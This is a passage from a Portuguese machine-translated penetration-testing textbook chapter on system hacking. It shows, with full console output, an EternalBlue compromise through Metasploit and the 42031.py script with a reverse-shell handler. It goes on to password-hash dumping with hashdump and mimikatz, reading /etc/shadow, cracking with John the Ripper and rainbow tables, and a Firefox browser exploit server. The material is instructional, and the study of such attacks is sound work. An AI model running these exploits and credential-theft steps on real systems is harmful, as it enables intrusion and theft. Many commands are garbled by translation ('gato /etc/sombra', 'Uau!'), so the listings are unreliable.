se o módulo espera ter vários alvos. Um módulo de scanner, por exemplo, usará RHOSTS, enquanto 
um módulo de exploração geralmente terá RHOST como o nome do parâmetro. Na listagem de 
código a seguir, precisamos definir RHOST com o endereço IP do alvo da nossa tentativa de 
exploração. Como esperado, a exploração foi bem-sucedida, nos dando acesso remoto ao sistema 
de destino.
242 Capítulo 7 - Hacking de sistema
exploração eternalBlue
msf > usar exploit/windows/smb/ms17_010_eternalblue
msf exploit(windows/smb/ms17_010_eternalblue) > definir RHOST 192.168.86.24
RHOST => 192.168.86.24
exploração msf(windows/smb/ms17_010_eternalblue) > exploração
[*] Iniciado manipulador TCP reverso em 192.168.86.57:4444
[*] 192.168.86.24:445 - Conectando ao alvo para exploração.
[+] 192.168.86.24:445 - Conexão estabelecida para exploração.
[+] 192.168.86.24:445 - O sistema operacional de destino selecionado é válido para o sistema operacional indicado pela resposta SMB
[*] 192.168.86.24:445 - Despejo de buffer bruto CORE (51 bytes)
[*] 192.168.86.24:445 - 0x00000000
[*] 192.168.86.24:445 - 0x00000010
[*] 192.168.86.24:445 - 0x00000020
[*] 192.168.86.24:445 - 0x00000030
[+] 192.168.86.24:445 - Arco de destino selecionado válido para arco indicado pela resposta DCE/RPC
[*] 192.168.86.24:445 - Tentando explorar com 12 alocações de Groom.
[*] 192.168.86.24:445 - Enviando todos os fragmentos do pacote de exploração, exceto o último
[*] 192.168.86.24:445 - Iniciando preparação de pool não paginado
[+] 192.168.86.24:445 - Enviando buffers SMBv2
[+] 192.168.86.24:445 - Fechando conexão SMBv1 criando buraco livre adjacente ao buffer SMBv2.
[*] 192.168.86.24:445 - Enviando buffers SMBv2 finais.
[*] 192.168.86.24:445 - Enviando último fragmento do pacote de exploração!
[*] 192.168.86.24:445 - Recebendo resposta do pacote de exploração
[+] 192.168.86.24:445 - Substituição do ETERNALBLUE concluída com sucesso (0xC000000D)!
[*] 192.168.86.24:445 - Enviando ovo para conexão corrompida.
[*] 192.168.86.24:445 - Disparo livre de buffer corrompido.
[*] Sessão de shell de comando 1 aberta (192.168.86.57:4444 -> 192.168.86.24:50371) em 2018-08-31 19:52:40 -0600
[+] 192.168.86.24:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= -=-=-=-=-=-=-=-=-=-=
[+] 192.168.86.24:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.86.24:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= -=-=-=-=-=-=-=-=-=-=
57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 32
30 30 38 20 52 32 20 53 74 61 6e 64 61 72 64 20
37 36 30 31 20 53 65 72 76 69 63 65 20 50 61 63
6b 20 31
Servidor Windows 2
008 R2 Padrão
Pacote de serviço 7601
k 1
Nem toda vulnerabilidade é tão bem-sucedida quanto esta. Quando você busca um módulo, você 
obtém uma classificação que indica o quão bem-sucedida a exploração provavelmente será. 
Vulnerabilidades nem sempre são diretas. Em alguns casos, pode haver dependências que precisam estar 
em vigor antes que a vulnerabilidade possa ser explorada. Você pode precisar tentar a exploração várias 
vezes antes que ela tenha sucesso. Se fosse fácil e direto, afinal, todos seriam capazes de fazê-lo, o que 
pode significar que mais testes de segurança estão sendo feitos, o que por sua vez pode levar a menos 
bugs no software.
Comprometimento do sistema 243
Explorar-DB
Você pode pesquisar exploit-db.com para exploits associados a vulnerabilidades. Por exemplo, estávamos 
trabalhando com o exploit EternalBlue, que sabemos que tem um módulo no Metasploit. Podemos 
pesquisar exploit-db.com para módulos relacionados à vulnerabilidade EternalBlue. Na Figura 7.2, você 
pode ver os resultados dessa pesquisa. Isso mostra três resultados que se enquadram em categorias 
relacionadas ao Windows. Todos esses são scripts Python de prova de conceito que você pode baixar e 
executar.
figura 7. 2Resultados da pesquisa Exploit-DB
Se você tiver o pacote Exploit-DB instalado no seu sistema, ou seja, você tem o searchsploit para usar, 
você pode simplesmente executar o searchsploit para fazer a mesma pesquisa. O repositório Exploit-DB 
inclui exploits e shellcodes, então os resultados não incluem artigos como os que você obtém do site. Em 
vez disso, você obtém apenas a lista de códigos de exploit. Além disso, você não precisa baixar ou olhar o 
código em um navegador da web porque você já tem o código baixado. Na listagem de código a seguir, 
você pode ver os resultados da pesquisa. O que obtemos é a lista de três programas de exploit, mas 
nenhum resultado de shellcode. Isso não é especialmente surpreendente porque não há shellcode 
especialmente associado ao EternalBlue. Em vez disso, é apenas uma vulnerabilidade na implementação do 
protocolo Server Message Block (SMB).
resultados do searchsploit para eternalBlue
root@quiche:~# searchsploit "azul eterno"
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Título da exploração | Caminho
| (/usr/share/exploitdb/)
- ...
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Shellcodes: Nenhum resultado
244 Capítulo 7 - Hacking de sistema
Você pode executar esse exploit de onde ele está ou copiá-lo para seu diretório home e executá-lo 
de lá. Isso evitará que você passe o caminho para o script Python ao executá-lo. Também permitirá 
que você faça alterações, se quiser experimentar, enquanto deixa o código de exploit funcional 
intacto onde está. Na próxima listagem de código, você verá uma execução de 42031.py, atacando o 
mesmo sistema que fizemos do Metasploit. O último parâmetro na linha de comando é o código 
executável no arquivo chamado payload. Esta é uma combinação de duas partes separadas de código 
executável. O primeiro é o shellcode escrito pelo autor do exploit Python. No final disso, há um 
programa stub que envia uma conexão de volta para um sistema que o escuta.
Um exploit é o meio para uma entidade externa fazer com que um programa falhe de 
uma forma que permita ao invasor controlar o fluxo da execução do programa. Só 
fazer com que o programa falhe, no entanto, não é o suficiente. Você precisa de 
algum código seu para que o programa execute em seu nome. Este é o shellcode, 
assim chamado porque normalmente fornece um shell para o invasor. Isso significa 
que o invasor tem uma maneira de interagir diretamente com o sistema operacional.
exploração de eternalBlue do script python
root@quiche:~# python 42031.py 192.168.86.24 tamanho do 
shellcode da carga útil: 1262
numGroomConn: 13
SO de destino: Windows Server 2008 R2 Standard 7601 Service Pack 1 configuração 
de sessão SMB1 aloca pool não paginado com sucesso
Configuração de sessão SMB1 aloca pool não paginado com 
sucesso, resposta boa, status: INVALID_PARAMETER
feito
Esta é apenas metade do ataque. O que você vê aqui é o exploit sendo executado com sucesso, 
acionando a vulnerabilidade e fazendo com que o serviço remoto execute o shellcode fornecido. O 
shellcode aqui é um arquivo executável criado a partir do código da linguagem assembly. Ele inclui um shell 
Meterpreter e uma maneira de se conectar devolta ao sistema para o qual foi configurado para retornar a 
chamada. Isso requer que você também tenha um listener configurado. Voltamos ao msfconsole 
novamente para isso. Na listagem a seguir, você pode ver o carregamento do módulo listener, definindo a 
porta de escuta e o endereço IP. Quando o exploit for executado no alvo, você também verá a conexão com 
o listener.
manipulador de exploração
msf > usar exploit/multi/handler
msf exploit(multi/handler) > definir LHOST 192.168.86.57 
LHOST => 192.168.86.57
msf exploit(multi/handler) > definir LPORT 4444 
LPORT => 4444
msf exploit(multi/manipulador) > exploit
Coletando senhas 245
Isso nos dá a capacidade de interagir com o sistema remoto usando o Meterpreter, que é uma 
linguagem de shell agnóstica do sistema operacional. Ele tem vários comandos que podem ser executados 
no sistema de destino, independentemente do sistema operacional que o sistema de destino tenha. O 
Meterpreter traduz os comandos passados a ele em comandos específicos para o sistema operacional 
subjacente. Isso pode incluir listar arquivos, alterar diretórios, carregar arquivos e coletar informações do 
sistema, como senhas.
Coletando senhas
Depois de ter um sistema explorado, você vai querer começar a reunir informações sobre ele. Um tipo de 
informação são as senhas no sistema. Existem algumas maneiras de reunir essas senhas. Na listagem de 
código anterior, obtivemos um shell Meterpreter em um sistema de destino. Nem todos os exploits no 
Metasploit podem produzir um shell Meterpreter, mas se pudermos obter um, temos um aliado poderoso 
na coleta de informações e na execução do trabalho pós-exploração. Usando o Meterpreter, podemos 
reunir informações sobre o sistema para sabermos o que estamos obtendo como dados de senha. O 
comandoinformação do sistemanos dirá o nome do sistema, bem como o sistema operacional. Isso nos diz 
que vamos olhar para os hashes do LAN Manager quando pegarmos as senhas. Podemos fazer isso usando 
ohashdumpcomando, que você pode ver na listagem a seguir.
obtendo senhas com meterpreter
Computador
SO
Arquitetura
Idioma do sistema: en_US
Domínio : GRUPO DE TRABALHO
Usuários conectados: 2
Meterpreter : x86/janelas
meterpreter > hashdump
Administrador:500:ed174b89559f980793e287acb8bf6ba6:5f7277b8635625ad2d2d551867124dbd:::
ASPNET:1003:5b8cce8d8be0d65545aefda15894afa0:227510be54d4e5285f3537a22e855dfc:::
Convidado:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Assistente de ajuda:1000:7e86e0590641f80063c81f86ee9efa9c:ef449e873959d4b1536660525657047d:::
SUPORTE_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:2e54afff1eaa6b62fc0649b715104187:::
: WUBBLE-C765F2
: Windows XP (versão 2600, Service Pack 2).
: x86
O hashdump fornece o nome de usuário, o identificador do usuário e o valor hash da senha. 
Precisaremos disso quando for preciso quebrar a senha. Essas credenciais serão úteis à medida 
que continuamos nos movendo pela rede. As credenciais podem ser úteis para vulnerabilidades 
adicionais, ou pelo menos com diferentes programas de teste e módulos Metasploit.
246 Capítulo 7 - Hacking de sistema
Esta não é a única maneira de obtermos hashes de senha, no entanto. Há um módulo chamado mimikatz 
que pode ser usado. Ainda precisamos do Meterpreter, então podemos carregar o módulo mimikatz para 
usá-lo. Na listagem a seguir, você pode ver o carregamento do mimikatz e, em seguida, a extração dos 
hashes de senha. Você pode ver os resultados da execuçãomsv,que faz uso do pacote de autenticação MSV 
para extrair os hashes para os usuários. Também podemos usar mimikatz para ver se o provedor de suporte 
de segurança (SSP) tem credenciais. Finalmente, usamos mimikatz para extrair hashes do SSP ativo. 
Somente o pacote de autenticação MSV produziu resultados para nós neste sistema.
obtendo senhas com mimikatz
meterpreter > carregar mimikatz Carregando 
extensão mimikatz...Sucesso. meterpreter > 
msv
[+] Executando como SYSTEM
[*] Recuperando credenciais msv 
credenciais msv
===============
ID de autenticação
- - - - - -
Pacote
- - - - - - -
NTLM
Domínio
- - - - - -
VAGRANT-2008R2
Usuário
- - - -
vagabundo
Senha
- - - - - - - -
eu{0;293526
5229b7f52540641daad3b435b51404ee }, ntlm{ e02bc503339d51f71d913c245d35b50b }
0;96746 NTLM Servidor sshd VAGRANT-2008R2 eu{
e501ddc244ad2c14829b15382fe04c64 }, ntlm{ 8d0a16cfc061c3359db455d00ec27035 }
0;996
0;997
0;20243
0;999
Negociar
Negociar
NTLM
NTLM
GRUPO DE TRABALHO
AUTORIDADE DO NT
VAGRANT-2008R2$
SERVIÇO LOCAL
ns (Credenciais KO)
ns (Credenciais KO)
ns (Credenciais KO)
ns (Credenciais KO)GRUPO DE TRABALHO VAGRANT-2008R2$
medidorpreter > ssp
[+] Executando como SYSTEM
[*] Recuperando credenciais ssp 
credenciais ssp
===============
Pacote AuthID Domínio Usuário Senha
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
meterpreter > livesp
[+] Executando como SYSTEM
[*] Recuperando credenciais livesp
Coletando senhas 247
credenciais livesp
===================
ID de autenticação
- - - - - -
0;996
0;997
0;293526
0;96746
0;20243
0;999
Pacote
- - - - - - -
Negociar
Negociar
NTLM
NTLM
NTLM
NTLM
Domínio
- - - - - -
GRUPO DE TRABALHO
AUTORIDADE DO NT
VAGRANT-2008R2
VAGRANT-2008R2
Usuário
- - - -
VAGRANT-2008R2$
SERVIÇO LOCAL
vagabundo
servidor sshd
Senha
- - - - - - - -
na (vidassp KO)
na (vidassp KO)
na (vidassp KO)
na (vidassp KO)
na (vidassp KO)
na (vidassp KO)GRUPO DE TRABALHO VAGRANT-2008R2$
Quando comprometemos um sistema Linux, não podemos usar hashdump, mas ainda queremos 
pegar as senhas. Podemos obter um shell diretamente de um exploit ou, se usarmos uma carga útil 
do Meterpreter, podemos cair para um shell. É aqui que seríamos capazes de acessar as senhas. No 
código a seguir, você pode ver a queda para um shell do Meterpreter. A partir daí, podemos 
simplesmente usargatopara imprimir o conteúdo do /etc/sombraarquivo. Precisamos ter acesso root 
para ver o conteúdo do arquivo shadow. Você pode ver executandoUau!que ganhamos acesso como 
root. Se você quiser coletar senhas de um exploit que não lhe dá acesso root, você precisará 
encontrar uma escalada de privilégios.
Acesso de shell para /etc/sombra
meterpreter > concha
Processo 1 criado.
Canal 1 criado.
Uau!
raiz
gato /etc/sombra
raiz:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7::: 
daemon:*:14684:0:99999:7:::
bin:*:14684:0:99999:7::: sys:
$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0:14742:0:99999:7::: 
sync:*:14684:0:99999:7:::
jogos:*:14684:0:99999:7::: 
homem:*:14684:0:99999:7::: 
lp:*:14684:0:99999:7::: 
correio:*:14684:0:99999:7::: 
notícias:*:14684:0:99999:7::: 
uucp:*:14684:0:99999:7::: 
proxy:*:14684:0:99999:7::: www-
data:*:14684:0:99999:7::: 
backup:*:14684:0:99999:7::: 
lista:*:14684:0:99999:7:::
248 Capítulo 7 - Hacking de sistema
Você notará que não há prompt, o que pode dificultar a distinção dos comandos da 
saída. Na saída, o primeiro comando éUau!para demonstrar que o usuário logado é root. 
Depois disso, você pode ver o comandogato /etc/sombrae então a saída desse comando. A 
maioria dos usuários mostrados não tem senhas. Apenas root e sys parecem ter senhas 
nessa saída. Embora o meio de obter as senhas mostradas aqui seja diferente do 
Windows, elas também são hashes.
Os hashes de senha são gerados usando um algoritmo de hash diferente no Linux do que no 
Windows. Em ambos os casos, porém, você pode usar os hashes para executar um programa de 
quebra de senha.
Quebra de senha
Hashes de senha não nos fazem muito bem. Você nunca é solicitado a passar um hash de senha 
quando está autenticando. O hash é então gerado cada vez que uma senha é inserida por um 
usuário. O hash resultante é então comparado com o hash armazenado. Passar o hash resultaria em 
hash, então o hash resultante dessa computação não corresponderia ao que foi armazenado. A 
única maneira de corresponder ao hash armazenado é usar a senha, ou pelo menos usar um valor 
que gere o mesmo resultado de hash. Quando se trata de quebrar senhas, estamos tentando 
identificar um valor quegere o hash criptográfico.
É tecnicamente possível que duas strings separadas gerem o mesmo hash. Como só 
nos importamos com os hashes sendo iguais, não importa se o que entra é realmente 
a senha. Quando dois valores produzem o mesmo hash, isso é chamado de colisão. 
Uma boa maneira de evitar colisões é ter um espaço maior para os valores do hash. 
Um algoritmo de hash que produz 256 bits como saída tem ordens de magnitude mais 
valores de hash potenciais do que um que gera apenas 128 bits. A questão das 
colisões é às vezes chamada de paradoxo do aniversário, que se relaciona à 
probabilidade estatística de duas pessoas em uma sala terem o mesmo aniversário 
(mês e dia). Para que haja uma probabilidade de 50 por cento de que duas pessoas 
tenham o mesmo aniversário, você precisa de apenas 23 pessoas na sala. Com 70 
pessoas, é uma probabilidade de 99,9 por cento. No entanto, não chegamos a 100 por 
cento de probabilidade até termos 366 pessoas.
João, o Estripador
Uma ferramenta comum usada para quebrar senhas é John the Ripper. John é uma ótima ferramenta offline 
para quebrar senhas, o que significa que funciona em arquivos que foram obtidos de sua fonte original. Ele 
tem diferentes modos que podem ser usados para quebrar senhas. O primeiro, que você verá na próxima 
listagem de código, é conhecido como modo de quebra única. O modo de quebra única pega informações 
de diferentes campos no arquivo, aplicando regras de deformação a eles, para tentar como senhas. Como a 
lista de entradas é comparativamente pequena, há extensas
Quebra de senha 249
regras de confusão para variar o texto de origem para gerar senhas potenciais. Este é considerado o modo mais 
rápido que John tem para quebrar senhas. É também o modo que os desenvolvedores de John recomendam que 
você comece.
Modo de crack único de John
root@quiche:~# john senhas.txt
Aviso: tipo de hash detectado "LM", mas a string também é reconhecida como "NT" Use a 
opção "--format=NT" para forçar o carregamento como esse tipo Aviso: tipo de hash 
detectado "LM", mas a string também é reconhecida como "NT-old" Use a opção "--
format=NT-old" para forçar o carregamento como esse tipo Usando codificação de entrada 
padrão: UTF-8
Usando codificação de destino padrão: CP850
Carregou 8 hashes de senha sem sais diferentes (LM [DES 128/128 SSE2-16]) Pressione 'q' 
ou Ctrl-C para abortar, quase qualquer outra tecla para status
(SUPORTE_388945a0)
(Convidado)
(Administrador:1)
(Assistente de Ajuda:2)
BLANDES
KSUHCP9
John também pode pegar listas de palavras no modo de lista de palavras. Este é um modo direto que pega uma 
lista de palavras como entrada, comparando o hash de cada palavra com o hash da senha. Você pode aplicar regras 
de confusão à sua lista de palavras, o que gerará variantes nas palavras, já que as pessoas geralmente usam 
variações de palavras conhecidas como suas senhas. Quanto maior for sua lista de palavras, maior será a chance de 
você quebrar senhas. No entanto, quanto maior for sua lista de palavras, mais tempo levará para quebrar a senha. 
Tenha em mente que as listas de palavras identificarão apenas senhas que estão na lista de palavras. Se alguém 
estiver usando uma senha longa ou caracteres realmente aleatórios, usar uma lista de palavras não ajudará. Isso 
significa que você precisa tentar outro modo.
Finalmente, John usa o modo incremental para tentar todas as combinações possíveis de caracteres. Para 
executar esse modo, no entanto, John precisa ser informado sobre quais caracteres tentar. Podem ser todos os 
caracteres ASCII, todos os caracteres maiúsculos, todos os números e assim por diante. Você também precisará 
informar a John o tamanho da senha. Devido ao número de variantes possíveis, esse modo precisará ser 
interrompido porque John não consegue passar por todas as variantes em um tempo razoável, a menos que você 
tenha especificado um tamanho de senha curto.
Esta execução de John foi contra senhas do Windows, conforme coletadas do hashdump no Meterpreter. Se 
você quiser trabalhar com senhas do Linux, há uma etapa adicional que você precisa fazer. Nos primeiros dias do 
Unix, do qual o Linux é derivado, havia um único arquivo onde as informações do usuário e as senhas eram 
armazenadas. O problema com isso era que havia informações que os usuários comuns precisavam obter daquele 
arquivo, o que significava que as permissões tinham que ser tais que qualquer um pudesse lê-las. Como as senhas 
eram armazenadas lá, isso era um problema. Qualquer um poderia ler os hashes e obter as senhas desses hashes 
usando estratégias de cracking. Como resultado, as informações públicas eram armazenadas em um arquivo, ainda 
chamado passwd para compatibilidade com versões anteriores, enquanto as senhas e as informações necessárias 
que as acompanhavam, como os nomes de usuário e IDs de usuário, eram armazenadas em outro arquivo, o 
arquivo shadow.
250 Capítulo 7 - Hacking de sistema
Podemos combinar os dois arquivos para que todas as informações necessárias estejam juntas e consolidadas 
usando o programa unshadow. Isso mescla as informações no arquivo shadow e no arquivo passwd. Aqui, você 
pode ver uma execução do unshadow com um arquivo shadow capturado e um arquivo passwd.
usando unshadow
root@quiche:~# unshadow senha.local sombra.local
raiz:$6$yCc28ASu$WmFwkvikDeKL4VtJgEnYcD.PXG.4UixCikBO5jBvE3JjV43nLsfpB1z57qwL 
h0SNo15m5JfyQWEMhLjRv4rRO.:0:0:raiz:/raiz:/bin/bash
daemon:*:1:1:daemon:/usr/sbin:/usr/sbin/nologin 
bin:*:2:2:bin:/bin:/usr/sbin/nologin
sys:*:3:3:sys:/dev:/usr/sbin/nologin sincronização:*:4:65534:sync:/bin:/
bin/sync jogos:*:5:60:games:/usr/games :/usr/sbin/nologin 
man:*:6:12:man:/var/cache/man:/usr/sbin/nologin lp:*:7:7:lp:/var/spool/
lpd:/usr/ sbin/nologin mail:*:8:8:mail:/var/mail:/usr/sbin/nologin 
news:*:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:* :10:10:uucp:/
var/spool/uucp:/usr/sbin/nologin proxy:*:13:13:proxy:/bin:/usr/sbin/
nologin www-data:*:33:33:www-data:/var/www:/usr/sbin/nologin 
backup:*:34: 34:backup:/var/backups:/usr/sbin/nologin 
list:*:38:38:Gerenciador de lista de discussão:/var/list:/usr/sbin/nologin 
irc:*:39:39:ircd:/var /executar/ircd:/usr/sbin/nologin
gnats:*:41:41:Sistema de relatórios de erros do Gnats (admin):/var/lib/gnats:/usr/sbin/ 
nologin
Como visto, a maioria dos usuários não tem senhas. O único usuário com uma senha aqui 
é o usuário root. Depois de mesclar os dois arquivos usando o unshadow, você pode 
executar John nele para obter a senha. John identificará o formato do arquivo e o algoritmo 
de hash usado para gerá-lo. Essas informações são armazenadas no arquivo. O $6$ no início 
da senha indica que a senha foi hash usando o algoritmo de hash seguro com 512 bits para a 
saída (SHA-512). O que vem depois disso é a senha hash com a qual John estará 
comparando. John, no entanto, não é a única maneira de obter senhas de arquivos locais.
Mesas de arco-íris
Para cada senha testada usando John, você tem que calcular o hash para testar. Isso leva tempo e poder 
computacional. Com os processadores de hoje, o tempo e o poder computacional necessários não são um 
grande problema, além de somarem. Microssegundos por palavra ao longo de milhões de palavras 
adicionam tempo. É mais fácil pré-calcular os hashes antes de executar suas verificações. Tudo o que você 
precisa fazer então é procurar o hash em um índice e recuperar o
Quebra de senha 251
texto simples que foi usado para criar esse hash. Todo o trabalho demorado é feito bem antes de 
você precisar quebrar senhas. Há uma troca, é claro. Pré-computar hashes significa que você 
precisa armazená-los em algum lugar.
As tabelas Rainbow são os hashes pré-computados armazenados. A tabela Rainbow não é tão direta 
quanto apenas um mapeamento entre um hash e uma senha. As tabelas Rainbow são armazenadas em 
cadeias para limitar o número de senhas de texto simples armazenadas. Em alguns casos, o texto simples 
pode ser inferido se não for armazenado diretamente. Existem muitas ferramentas que podem ser usadaspara procurar senhas nessas tabelas, mas primeiro precisamos das tabelas. O projeto Rainbow Crack tem 
uma ferramenta para procurar a senha, bem como uma ferramenta que criará a tabela Rainbow. Esta 
ferramenta de criação não é usada para gerar hashes de listas de palavras. Em vez disso, ela gerará um 
hash de todos os valores de senha possíveis dentro das restrições fornecidas. No código a seguir, você verá 
o uso de rtgen para gerar uma tabela Rainbow.
usando rtgen para tabelas rainbow
root@quiche:~# rtgen md5 loweralpha-numeric 5 8 0 3800 33554432 0 rainbow table 
md5_loweralpha-numeric#5-8_0_3800x33554432_0.rt parâmetros algoritmo de hash:
comprimento do hash:
nome do conjunto de caracteres:
dados do conjunto de caracteres:
md5
16
alfanumérico inferior
abcdefghijklmnopqrstuvwxyz0123456789
61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73dados do conjunto de caracteres em hexadecimal:
74 75 76 77 78 79 7a 30 31 32 33 34 35 36 37 38 39
comprimento do conjunto de caracteres: 36
intervalo de comprimento do texto simples: 5 - 8 
redução de deslocamento:
total em texto simples:
0x00000000
2901711320064
ponto de partida sequencial começa em 0 (0x00000000000000000) 
gerando...
131072 de 33554432 cadeias de arco-íris geradas (0 m 28,5 s) 
262144 de 33554432 cadeias de arco-íris geradas (0 m 28,5 s) 
393216 de 33554432 cadeias de arco-íris geradas (0 m 28,5 s) 
524288 de 33554432 cadeias de arco-íris geradas (0 m 28,5 s) 
655360 de 33554432 cadeias de arco-íris geradas (0 m 28,5 s) 
786432 de 33554432 cadeias de arco-íris geradas (0 m 28,5 s) 
917504 de 33554432 cadeias de arco-íris geradas (0 m 28,5 s) 
1048576 de 33554432 cadeias de arco-íris geradas (0 m 28,5 s) 
1179648 de 33554432 cadeias de arco-íris geradas (0 m 28,5 s) 
1310720 de 33554432 cadeias de arco-íris geradas (0 m 28,5 s) 
1441792 de 33554432 cadeias de arco-íris geradas (0 m 28,5 s) 
1572864 de 33554432 cadeias de arco-íris geradas (0 m 28,6 s)
252 Capítulo 7 - Hacking de sistema
Você notará os parâmetros passados para o rtgen. O primeiro é o algoritmo de hash usado. 
Neste caso, é o Message Digest 5 (MD5), um algoritmo de hash comumente usado. O algoritmo de 
hash usado na tabela rainbow tem que corresponder ao usado no arquivo de senha. Se eles não 
corresponderem, você não encontrará o hash ou a senha. O próximo parâmetro é o conjunto de 
caracteres que deve ser usado para gerar as senhas. Estamos usando letras minúsculas e também 
números. Isso nos dá 36 caracteres possíveis em cada posição. Isso produz 36̂não valores, ondenãoé 
o número de posições. Se estivéssemos tentando gerar senhas de quatro caracteres, teríamos 
36*36*36*36 senhas possíveis, o que é 1.679.616 — quase 2 milhões de senhas de quatro caracteres.
Precisamos dizer ao rtgen o tamanho que queremos que nossas senhas tenham. Os 
próximos dois valores na linha de comando são o tamanho mínimo e o tamanho máximo da 
senha. Para nossos propósitos, estamos gerando senhas que têm entre cinco e oito caracteres. 
Isso significa um total de 36 5̂ + 36̂ 6 + 36 7̂ + 36 8̂ senhas. Isso nos dá 2,8 * 10 1̂2 como o 
número de senhas. Obviamente, quanto mais tamanhos de senha assumirmos, mais senhas 
teremos que gerar e maior será nossa saída.
O próximo valor seleciona uma função, interna ao rtgen, que é usada para mapear os hashes para texto 
simples. Isso é chamado de função de redução. Os próximos dois valores têm a ver com as cadeias rainbow. O 
primeiro é o número de cadeias geradas. Quanto mais cadeias geradas, mais dados são armazenados no disco, 
porque isso significa que mais texto simples é armazenado. O valor depois disso é o número de cadeias a serem 
geradas. Uma tabela rainbow é uma coleção de cadeias, onde cada cadeia tem 16 bytes. Finalmente, o último 
valor se relaciona com a capacidade de armazenar uma grande tabela rainbow em vários arquivos. Para fazer 
isso, mantenha todos os outros parâmetros iguais e altere esse valor.
Uma vez que temos uma tabela rainbow, podemos verificar o arquivo de senha que temos contra ela. 
Você pode ver uma execução do programa rcrack na próxima listagem de código. Não houve resultados 
dessa execução porque as tabelas rainbow que foram usadas eram muito limitadas. Para ter o suficiente em 
termos de tabelas rainbow para realmente quebrar senhas, precisaríamos de pelo menos gigabytes, se não 
terabytes ou mais. Há dois parâmetros aqui. O primeiro é a localização das tabelas rainbow, que é um ponto 
(.) aqui, significando o diretório local. O segundo diz ao rcrack que o arquivo fornecido é um conjunto de 
hashes LAN Man.
executando rcrack com tabelas de arco-íris
root@quiche:~# rcrack . -lm passwords.txt 1 tabelas 
rainbow encontradas
nenhum hash encontrado
resultado
Uma coisa a ser notada aqui com relação à localização das tabelas rainbow é que elas não são 
realmente armazenadas no diretório de onde o rcrack é executado. Em vez disso, as tabelas 
rainbow são armazenadas em /usr/compartilhar/rainbowcrackno sistema Kali do qual isso foi 
executado. Quando você executa rtgen, a tabela é armazenada naquele diretório porque é onde os 
binários estão localizados. O diretório atual nesta instância é o diretório onde rcrack está, em vez 
do diretório onde o usuário está.
Vulnerabilidades do lado do cliente 253
Vulnerabilidades do lado do cliente
Claro, serviços de escuta não são a única maneira de obter acesso aos sistemas. Na verdade, eles nem são 
necessariamente a melhor maneira. Parte disso depende do que, como um invasor, você está procurando. 
Os invasores podem estar procurando por recursos de computação e rede. Pode ser que qualquer sistema 
fique bem como resultado. Isso significa que mais sistemas são melhores, e geralmente há mais desktops 
do que servidores. Os usuários também são geralmente um caminho mais fácil para o sistema. Isso pode 
exigir vulnerabilidades do lado do cliente, ou seja, vulnerabilidades que existem no desktop que não são 
expostas ao mundo externo sem interação do cliente. Por exemplo, pode haver uma vulnerabilidade em 
um cliente de e-mail. Um invasor pode acionar essa vulnerabilidade, não sondando o exterior do sistema 
de desktop, mas enviando e-mail para uma vítima. A vítima no sistema cliente abre o e-mail, a 
vulnerabilidade é acionada e o invasor obtém acesso ao sistema.
Os navegadores da Web são vetores de ataque convenientes, por vários motivos. Um deles é que eles são um 
dos aplicativos mais comumente usados. Nem todo mundo usa mais clientes de e-mail como Outlook ou 
Thunderbird, embora os clientes de e-mail já tenham sido muito usados. Muitas pessoas usam um navegador da 
Web para acessar seus e-mails. Os navegadores são usados para tantas outras funções comuns, a ponto de 
poderem ser o único aplicativo que algumas pessoas usam. Pense no Chrome OS e no Chromebook que o executa 
como exemplos. O Chrome OS usa o navegador como interface do usuário. Como o Chrome OS começou a vida 
como um cliente da Web fino, a maioria dos aplicativos que você executará no Chrome OS são executados dentro 
de um contexto de navegador.
Outro fator que torna o navegador um alvo legal é que simplesmente não há muitos navegadores em 
uso. Dados de algumas fontes diferentes mostram que o Chrome é, de longe, o navegador predominante 
em uso no mundo. Isso é seguido, de longe, por navegadores como Internet Explorer, Firefox, Safari e Edge. 
Como resultado, se você puder encontrar uma vulnerabilidade que afete o Chrome no Windows, você estará 
no dinheiro. O problema com isso é que o Google tende a ser extremamente diligente quando se trata de 
encontrar e corrigir vulnerabilidades. Não há nenhuma vulnerabilidade no Metasploit para Chrome. No 
entanto, outros navegadores têm módulos associados a eles. Um exemplo é uma vulnerabilidade no Firefox 
no MacOS. Aqui você pode ver o carregamento deste módulo no msfconsole.
módulo de exploração do firefox no msfconsole
msf > usar exploit/osx/browser/mozilla_mchannel
msf exploit(osx/browser/mozilla_mchannel) > mostrar opções
Opções domódulo (exploit/osx/browser/mozilla_mchannel):
Nome
- - - -
Configuração atual
- - - - - - - - - - - - - - -
0.0.0.0
Obrigatório
- - - - - - - -
sim
Descrição
- - - - - - - - - - -
O host local para ouvir. Este deve ser um endereço noSRVHOST
máquina local ou 0.0.0.0
PORTARIA SRV
SSL
8080
falso
sim
não
A porta local para ouvir.
Negociar SSL para conexões de entrada
254 Capítulo 7 - Hacking de sistema
módulo de exploração do firefox no msfconsole(continua)
Certificado SSL
URIPATH
não
não
Caminho para um certificado SSL personalizado (o padrão é gerado aleatoriamente)
O URI a ser usado para esta exploração (o padrão é aleatório)
Alvo de exploração:
Eu ia
- -
0
Nome
- - - -
Firefox 3.6.16 no Mac OS X (10.6.6, 10.6.7, 10.6.8, 10.7.2 e 10.7.3)
msf exploit(osx/navegador/mozilla_mchannel) > exploração
[*] Exploit em execução como tarefa em segundo plano 0.
[*] Iniciado manipulador TCP reverso em 192.168.86.62:4444
msf exploit(osx/browser/mozilla_mchannel) > [*] Usando URL: http://0.0.0.0:8080/4ZhKAQwCLkOt
[*] IP local: http://192.168.86.62:8080/4ZhKAQwCLkOt
[*] Servidor iniciado.
